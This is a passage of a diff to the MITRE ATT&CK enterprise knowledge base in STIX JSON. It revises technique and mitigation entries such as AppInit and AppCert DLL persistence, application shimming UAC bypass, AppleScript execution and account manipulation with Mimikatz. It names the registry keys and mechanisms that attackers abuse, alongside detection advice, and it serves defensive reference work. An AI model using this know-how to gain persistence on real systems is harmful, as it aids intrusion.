-            "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems.\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, API monitoring, Windows event logs\n\nPermissions Required: Administrator",
+            "description": "Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.\n\nDetection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)\n\nUse of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, API monitoring, Windows event logs, Packet capture\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -422,6 +417,16 @@
                     "source_name": "Microsoft User Modified Event",
                     "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.",
                     "url": "https://docs.microsoft.com/windows/device-security/auditing/event-4738"
+                },
+                {
+                    "source_name": "InsiderThreat ChangeNTLM July 2017",
+                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
+                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
+                },
+                {
+                    "source_name": "GitHub Mimikatz Issue 92 June 2017",
+                    "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.",
+                    "url": "https://github.com/gentilkiwi/mimikatz/issues/92"
                 }
             ],
             "object_marking_refs": [
@@ -430,32 +435,113 @@
             "x_mitre_data_sources": [
                 "Authentication logs",
                 "API monitoring",
-                "Windows event logs"
-            ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows event logs",
+                "Packet capture"
             ],
             "x_mitre_permissions_required": [
                 "Administrator"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "AppCert DLLs Mitigation",
+            "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1182",
+                    "external_id": "T1182"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "AppCert DLLs",
+            "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017)\n*CreateProcess\n*CreateProcessAsUser\n*CreateProcessWithLoginW\n*CreateProcessWithTokenW\n*WinExec\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n\nDetection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process Monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1182",
+                    "external_id": "T1182"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "TechNet Autoruns",
+                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                },
+                {
+                    "source_name": "Sysinternals AppCertDlls Oct 2007",
+                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
+                    "url": "https://forum.sysinternals.com/appcertdlls%20topic12546.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "Loaded DLLs",
+                "Process Monitoring",
+                "Windows Registry"
+            ],
+            "x_mitre_effective_permissions": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppInit DLLs Mitigation",
             "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
             "external_references": [
@@ -486,9 +572,9 @@
             "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:15.409Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppInit DLLs",
-            "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later",
+            "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -519,6 +605,11 @@
                     "source_name": "TechNet Autoruns",
                     "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                     "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                 }
             ],
             "object_marking_refs": [
@@ -533,23 +624,12 @@
                 "Administrator",
                 "SYSTEM"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator"
             ],
+            "x_mitre_platforms": [
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "Secure boot disabled on systems running Windows 8 and later"
             ]
@@ -558,8 +638,8 @@
             "type": "course-of-action",
             "id": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppleScript Mitigation",
             "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.",
             "external_references": [
@@ -575,9 +655,9 @@
             "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppleScript",
-            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: MacOS, OS X\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes",
+            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -609,21 +689,20 @@
                 "Process Monitoring",
                 "Process command-line parameters"
             ],
+            "x_mitre_platforms": [
+                "macOS"
+            ],
             "x_mitre_permissions_required": [
                 "User"
             ],
-            "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_remote_support": true
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Deployment Software Mitigation",
             "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
             "external_references": [
@@ -639,9 +718,9 @@
             "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:27.755Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Deployment Software",
-            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)",
+            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process use of network, Process monitoring\n\nSystem Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -663,33 +742,21 @@
                 "Process use of network",
                 "Process monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_system_requirements": [
                 "Access to application deployment software (EPO, HPCA, Altiris, etc.)"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Shimming Mitigation",
             "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
             "external_references": [
@@ -705,14 +772,10 @@
             "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Shimming",
-            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator\n\nRemote Support: No",
+            "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
-                {
-                    "kill_chain_name": "mitre-attack",
-                    "phase_name": "execution"
-                },
                 {
                     "kill_chain_name": "mitre-attack",
                     "phase_name": "persistence"
@@ -732,6 +795,11 @@
                     "source_name": "Black Hat 2015 App Shim",
                     "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                     "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                 }
             ],
             "object_marking_refs": [
@@ -744,31 +812,19 @@
                 "Process Monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator"
             ],
-            "x_mitre_remote_support": false
+            "x_mitre_platforms": [
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Window Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -809,9 +865,9 @@
             "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:24.512Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Window Discovery",
-            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
